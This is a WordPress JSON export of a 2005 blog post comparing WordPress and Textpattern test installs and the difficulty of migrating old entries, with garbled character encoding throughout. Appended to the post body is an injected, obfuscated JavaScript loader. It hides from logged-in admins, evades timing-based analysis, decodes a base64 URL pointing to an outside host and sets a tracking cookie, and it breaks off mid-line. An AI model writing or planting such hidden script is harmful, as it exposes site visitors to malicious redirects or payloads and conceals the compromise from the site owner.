{"id":6,"date":"2005-06-24T23:37:42","date_gmt":"2005-06-24T23:37:42","guid":{"rendered":"\/?p=6"},"modified":"2025-10-17T13:45:19","modified_gmt":"2025-10-17T17:45:19","slug":"new-cms-part-2","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/new-cms-part-2","title":{"rendered":"New CMS &#8211; Part 2"},"content":{"rendered":"<p>I\u00e2\u20ac\u2122ve put in two test installs of WordPress and Textpattern at callblog.net\/wordpress and callblog.net\/textpattern respectively.\u00c2\u00a0 I\u00e2\u20ac\u2122ve only put a single post with some initial impressions up on each.\u00c2\u00a0 I did textpattern first, so wordpress gets compared back to that.\u00c2\u00a0 Feel free to poke around<\/p>\n<p>Of course, if I\u00e2\u20ac\u2122m going to use 3rd party software like Ecto and Gallery to get the functionality that I\u00e2\u20ac\u2122m looking for, how much does is the CMS really going to matter?\u00c2\u00a0 If that\u00e2\u20ac\u2122s the case, shouldn\u00e2\u20ac\u2122t I just look for whatever is easiest to install and allows me to customize the templates most easily?\u00c2\u00a0 That would leave me leaning towards WordPress (out of the 2 I\u00e2\u20ac\u2122ve looked at), if only because with Textpattern I\u00e2\u20ac\u2122d have to install plugins for things like trackbacks and the ability sort entries by date.<\/p>\n<p>I anticipate bringing old entries over is going to be problematic, because I have yet to see something that lets me import EE entries, and I\u00e2\u20ac\u2122ll either have to do them all by hand or write a script to do it for me.\u00c2\u00a0 Last time I switched it was easy because the database was in a propriety flat file and was completely pooched, and I had no backup.\u00c2\u00a0 There were no entries to bring over.\u00c2\u00a0<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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